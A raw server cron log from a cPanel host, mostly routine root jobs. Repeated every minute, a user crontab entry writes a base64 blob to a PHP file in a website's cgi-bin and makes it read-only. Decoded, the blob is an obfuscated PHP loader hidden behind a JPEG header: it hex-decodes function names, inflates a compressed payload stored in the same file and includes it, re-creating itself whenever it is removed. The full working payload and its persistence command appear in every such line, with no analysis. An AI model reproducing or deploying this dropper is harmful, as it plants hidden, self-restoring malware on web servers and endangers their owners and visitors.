Sep 11 19:32:01 server CROND[19226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:32:01 server CROND[19227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:32:01 server CROND[19228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:33:01 server CROND[19718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:33:01 server CROND[19719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:33:01 server CROND[19720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:34:01 server CROND[20207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:34:01 server CROND[20208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:34:01 server CROND[20209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:35:02 server CROND[20669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:35:02 server CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:35:02 server CROND[20684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:35:02 server CROND[20689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:35:02 server CROND[20690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:35:02 server CROND[20691]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:35:02 server CROND[20692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:35:02 server CROND[20688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:35:02 server CROND[20687]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 19:36:01 server CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:36:01 server CROND[21514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:36:01 server CROND[21517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:37:01 server CROND[21892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:37:01 server CROND[21893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:37:01 server CROND[21894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:38:01 server CROND[22349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:38:01 server CROND[22351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:38:01 server CROND[22350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:39:01 server CROND[22740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:39:01 server CROND[22741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:39:01 server CROND[22742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:39:01 server CROND[22743]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 19:40:01 server CROND[23313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:40:01 server CROND[23315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:40:01 server CROND[23318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:40:01 server CROND[23314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:40:01 server CROND[23317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:40:01 server CROND[23319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:40:01 server CROND[23316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:40:01 server CROND[23321]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:41:01 server CROND[24184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:41:01 server CROND[24185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:41:01 server CROND[24186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:42:01 server CROND[24569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:42:01 server CROND[24570]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:42:01 server CROND[24572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:42:01 server CROND[24571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:43:01 server CROND[24952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:43:01 server CROND[24953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:43:01 server CROND[24954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
